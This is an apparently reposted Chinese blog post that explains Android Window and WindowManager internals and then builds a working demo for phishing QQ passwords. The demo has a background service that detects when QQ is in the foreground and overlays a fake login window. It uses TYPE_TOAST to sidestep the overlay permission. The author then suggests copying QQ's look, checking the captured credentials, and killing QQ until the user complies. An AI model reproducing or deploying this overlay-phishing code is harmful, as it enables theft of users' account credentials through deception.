热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

通过案例分析AndroidWindowManager解析与骗取QQ密码的过程

通过案例分析AndroidWindowManager解析与骗取QQ密码的过程- WindowsManager是一款窗口管理终端,可以远程连接到Linux的X桌面进行管理,与服务器端

 Windows Manager是一款窗口管理终端,可以远程连接到Linux的X桌面进行管理,与服务器端产生一个session相互通信。

最近在网上看见一个人在乌云上提了一个漏洞,应用可以开启一个后台Service,检测当前顶部应用,如果为QQ或相关应用,就弹出一个自定义window用来诱骗用户输入账号密码,挺感兴趣的,总结相关知识写了一个demo,界面如下(界面粗糙,应该没人会上当吧,意思到了就行哈=, =):

这里写图片描述

Window&&WindowManager介绍

  分析demo之前,先要整理总结一下相关的知识。先看看Window类,Window是一个抽象类,位于代码树frameworks\u0008asecorejavaandroidviewWindowjava.Java文件。连同注释,这个文件总共一千多行,它概括了Android窗口的基本属性和基本功能。唯一实现了这个抽象类的是PhoneWindow,实例化PhoneWindow需要一个窗口,只需要通过WindowManager即可完成,Window类的具体实现位于WindowManagerService中,WindowManager和WindowManagerService的交互是一个IPC过程。Android中的所有视图都是通过Window来呈现的,不管是Activity,Dialog还是Toast,他们的视图实际上都是附加在Window上的,因此Window实际上是View的直接管理者,点击事件也是由Window传递给view的。WindowManager.LayoutParams.type参数表示window的类型,共有三种类型,分别是应用Window,子Window和系统Window。应用Window对应着一个Activity,类似Dialog之类的子Window不能单独存在,他需要附属在应用Window上才可以,系统Window则不需要,比如Toast之类,可以直接显示。每个Window都有对应的z-orderd,层级大的window会覆盖在层级小的window之上,应用window的层级范围是1~99,子window的范围是1000~1999,系统window的范围是2000~2999,这些层级范围都对应着相关的type,type的相关取值:官网链接和中文资料。WindowManager.LayoutParams.flags参数表示window的属性,默认为none,flags的相关取值:官方链接,还有其他的LayoutParams变量名称和取值可以参考WindowManager.LayoutParams(上) 和WindowManager.LayoutParams(下) 两篇译文博客,很详细。

  再详细分析一下WindowManager,WindowManager主要用来管理窗口的一些状态、属性、view增加、删除、更新、窗口顺序、消息收集和处理等。通过代码Context.getSystemService(Context.WINDOW_SERVICE)可以获得WindowManager的实例。WindowManager所提供的功能很简单,常用的只有三个方法,即添加View、更新View和删除View,这三个方法定义在ViewManager中,而WindowManager继承了ViewManager,

addView();
updateViewLayout();
removeView();

  这些函数是用来修改Window的,它的真正实现是WindowManagerImpl类,WindowManagerImpl类并没有直接实现Window的三大操作,而是全部交给了WindowManagerGlobal来处理,WindowManagerGlobal以工厂的形式向外提供自己的实例,在WindowManagerGlobal中有如下一段代码:private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance()。WindowManagerImpl这种工作模式是典型的桥接模式(不是装饰者模式:区别在这),将所有的操作全部委托给WindowManagerGlobal来实现。

  View是Android中视图的呈现方式,但是View不能单独存在,他必须要附着在Window这个抽象的概念上面,每一个Window都对应着一个View和一个ViewRootImpl,Window和View通过ViewRootImpl来建立联系,因此有视图的地方就有Window,比如常见的Activity,Dialog,Toast等。

  对于每个activity只有一个decorView也就是ViewRoot,window是通过下面方法获取的
  Window mWindow = PolicyManager.makeNewWindow(this);

创建完Window之后,Activity会为该Window设置回调,Window接收到外界状态改变时就会回调到Activity中。在activity中会调用setContentView()函数,它是调用 window.setContentView()完成的,而Window的具体实现是PhoneWindow,所以最终的具体操作是在PhoneWindow中,PhoneWindow的setContentView方法第一步会检测DecorView是否存在,如果不存在,就会调用generateDecor函数直接创建一个DecorView;第二步就是将Activity的视图添加到DecorView的mContentParent中;第三步是回调Activity中的onContentChanged方法通知Activity视图已经发生改变。这些步骤完成之后,DecorView还没有被WindowManager正式添加到Window中,最后调用Activity的onResume方法中的makeVisible方法才能真正地完成添加和现实过程,Activity的视图才能被用户看到。

  Dialog的Window的创建过程和Activity类似,第一步也是用过PolicyManager.makeNewWindow方法来创建一个Window,不过这里传入的context必须要为activity的context;第二步也是通过setContentView函数去设置dialog的布局视图;第三步调用show方法,通过WindowManager将DecorView添加到Window中显示出来。

  Toast和Dialog不同,它稍微复杂一点,首先Toast也是基于Window来实现的,但是由于Toast具有定时取消的这一个功能,所以系统采用了Handler。在Toast的内部有两类IPC过程,第一类是Toast访问NotificationManagerService,第二类是NotificationManagerService回调Toast里的TN接口。在Toast类中,最重要的用于显示该toast的show方法调用了service.enqueueToast(pkg, tn, mDuration);也就是说系统为我们维持了一个toast队列,这也是为什么两个toast不会同时显示的原因,该方法将一个toast入队,显示则由 系统维持显示的时机。

private static INotificationManager sService;
static private INotificationManager getService() {
if (sService != null) {
return sService;
}
sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));
return sService;
}

该服务sService就是系统用于维护toast的服务。最后NMS会通过IPC调用Toast类内部的一个静态私有类TN,该类是toast的主要实现,该类完成了toast视图的创建,显示和隐藏。

骗取QQ密码实例

  有了上面的基础之后,这个例子其实就非常简单了。

  第一步编写一个Service并且在Service中弹出一个自定义的Window:

windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams();
params.width = WindowManager.LayoutParams.MATCH_PARENT;
params.height = WindowManager.LayoutParams.MATCH_PARENT;
params.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL;
params.type = WindowManager.LayoutParams.TYPE_TOAST;
params.format = PixelFormat.TRANSPARENT;
params.gravity = Gravity.CENTER;
params.softInputMode = WindowManager.LayoutParams.SOFT_INPUT_ADJUST_PAN;
LayoutInflater inflater = LayoutInflater.from(this);
v = (RelativeLayoutWithKeyDetect) inflater.inflate(R.layout.window, null);
v.setCallback(new RelativeLayoutWithKeyDetect.IKeyCodeBackCallback() {
@Override
public void backCallback() {
if (v!=null && v.isAttachedToWindow())
L.e("remove view ");
windowManager.removeViewImmediate(v);
}
});
btn_sure = (Button) v.findViewById(R.id.btn_sure);
btn_cancel = (Button) v.findViewById(R.id.btn_cancel);
et_account = (EditText) v.findViewById(R.id.et_account);
et_pwd = (EditText) v.findViewById(R.id.et_pwd);
cb_showpwd = (CheckBox) v.findViewById(R.id.cb_showpwd);
cb_showpwd.setOnCheckedChangeListener(new CompoundButton.OnCheckedChangeListener() {
@Override
public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {
if (isChecked) {
et_pwd.setTransformationMethod(HideReturnsTransformationMethod.getInstance());
} else {
et_pwd.setTransformationMethod(PasswordTransformationMethod.getInstance());
}
et_pwd.setSelection(TextUtils.isEmpty(et_pwd.getText()) ?
0 : et_pwd.getText().length());
}
});
//useless
// v.setOnKeyListener(new View.OnKeyListener() {
// @Override
// public boolean onKey(View v, int keyCode, KeyEvent event) {
// Log.e("zhao", keyCode+"");
// if (keyCode == KeyEvent.KEYCODE_BACK) {
// windowManager.removeViewImmediate(v);
// return true;
// }
// return false;
// }
// });
//点击外部消失
v.setOnTouchListener(new View.OnTouchListener() {
@Override
public boolean onTouch(View view, MotionEvent event) {
Rect temp = new Rect();
view.getGlobalVisibleRect(temp);
L.e("remove view ");
if (temp.contains((int)(event.getX()), (int)(event.getY()))){
windowManager.removeViewImmediate(v);
return true;
}
return false;
}
});
btn_sure.setOnClickListener(this);
btn_cancel.setOnClickListener(this);
L.e("add view ");
windowManager.addView(v, params);

  这里有几点需要说明一下,第一个是type使用TYPE_TOAST而不是用TYPE_SYSTEM_ERROR是可以绕过权限的,这个是在知乎上看见有人说的一个漏洞,哈哈;第二个是因为有Edittext,所以softInputMode需要设置为SOFT_INPUT_ADJUST_PAN,要不然软键盘会覆盖Window;第三个是返回键的监听,setOnKeyListener是不好用的,最后只能复写view类的dispatchKeyEvent函数来实现按键监听了;第四个是点击外部消失的操作,看代码就会明白了。

  实现了弹出框的弹出之后,接着就要设置一个实时监听,开启一个线程,每隔几秒去监听用户正在操作的应用是否是QQ,这个就简单多了,使用ActivityManager就可以了:

new Thread(new Runnable() {
@Override
public void run() {
while (isRunning){
L.e("running");
try {
Thread.sleep(3000);
} catch (InterruptedException e) {
e.printStackTrace();
}
ActivityManager activityManager = (ActivityManager)
getSystemService(Context.ACTIVITY_SERVICE);
List list =
activityManager.getRunningAppProcesses();
if (list.get(0).processName.equals("com.tencent.mobileqq")){
myHandler.sendEmptyMessage(1);
}
}
}
}).start();

  这样效果就差不多了,最后在Activity中启动该Service即可,当然这个还有很多改进的余地:

   1. 修改UI,使之更加的和QQ风格相似。

   2. 用户输入完账号和密码之后,可以addView一个loadingDialog,接着调用相关接口去验证用户名和密码的正确性,不正确提示用户重新输入。

   3. 如果用户不输入账号和密码,直接调用killBackgrondProcess函数(需要权限),强硬的把QQ关闭,直到用户输入账号和密码。

以上通过案例分析Android WindowManager解析与骗取QQ密码的过程,希望本文分享对大家有所帮助。


推荐阅读
  • 本文介绍了如何使用C#制作Java+Mysql+Tomcat环境安装程序,实现一键式安装。通过将JDK、Mysql、Tomcat三者制作成一个安装包,解决了客户在安装软件时的复杂配置和繁琐问题,便于管理软件版本和系统集成。具体步骤包括配置JDK环境变量和安装Mysql服务,其中使用了MySQL Server 5.5社区版和my.ini文件。安装方法为通过命令行将目录转到mysql的bin目录下,执行mysqld --install MySQL5命令。 ... [详细]
  • 本文介绍了Java工具类库Hutool,该工具包封装了对文件、流、加密解密、转码、正则、线程、XML等JDK方法的封装,并提供了各种Util工具类。同时,还介绍了Hutool的组件,包括动态代理、布隆过滤、缓存、定时任务等功能。该工具包可以简化Java代码,提高开发效率。 ... [详细]
  • android listview OnItemClickListener失效原因
    最近在做listview时发现OnItemClickListener失效的问题,经过查找发现是因为button的原因。不仅listitem中存在button会影响OnItemClickListener事件的失效,还会导致单击后listview每个item的背景改变,使得item中的所有有关焦点的事件都失效。本文给出了一个范例来说明这种情况,并提供了解决方法。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了在Win10上安装WinPythonHadoop的详细步骤,包括安装Python环境、安装JDK8、安装pyspark、安装Hadoop和Spark、设置环境变量、下载winutils.exe等。同时提醒注意Hadoop版本与pyspark版本的一致性,并建议重启电脑以确保安装成功。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • Voicewo在线语音识别转换jQuery插件的特点和示例
    本文介绍了一款名为Voicewo的在线语音识别转换jQuery插件,该插件具有快速、架构、风格、扩展和兼容等特点,适合在互联网应用中使用。同时还提供了一个快速示例供开发人员参考。 ... [详细]
  • 1,关于死锁的理解死锁,我们可以简单的理解为是两个线程同时使用同一资源,两个线程又得不到相应的资源而造成永无相互等待的情况。 2,模拟死锁背景介绍:我们创建一个朋友 ... [详细]
  • 后台获取视图对应的字符串
    1.帮助类后台获取视图对应的字符串publicclassViewHelper{将View输出为字符串(注:不会执行对应的ac ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 本文介绍了一款名为TimeSelector的Android日期时间选择器,采用了Material Design风格,可以在Android Studio中通过gradle添加依赖来使用,也可以在Eclipse中下载源码使用。文章详细介绍了TimeSelector的构造方法和参数说明,以及如何使用回调函数来处理选取时间后的操作。同时还提供了示例代码和可选的起始时间和结束时间设置。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Nginx使用(server参数配置)
    本文介绍了Nginx的使用,重点讲解了server参数配置,包括端口号、主机名、根目录等内容。同时,还介绍了Nginx的反向代理功能。 ... [详细]
  • 深入理解CSS中的margin属性及其应用场景
    本文主要介绍了CSS中的margin属性及其应用场景,包括垂直外边距合并、padding的使用时机、行内替换元素与费替换元素的区别、margin的基线、盒子的物理大小、显示大小、逻辑大小等知识点。通过深入理解这些概念,读者可以更好地掌握margin的用法和原理。同时,文中提供了一些相关的文档和规范供读者参考。 ... [详细]
  • 带添加按钮的GridView,item的删除事件
    先上图片效果;gridView无数据时显示添加按钮,有数据时,第一格显示添加按钮,后面显示数据:布局文件:addr_manage.xml<?xmlve ... [详细]
author-avatar
意华嘉泰6
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有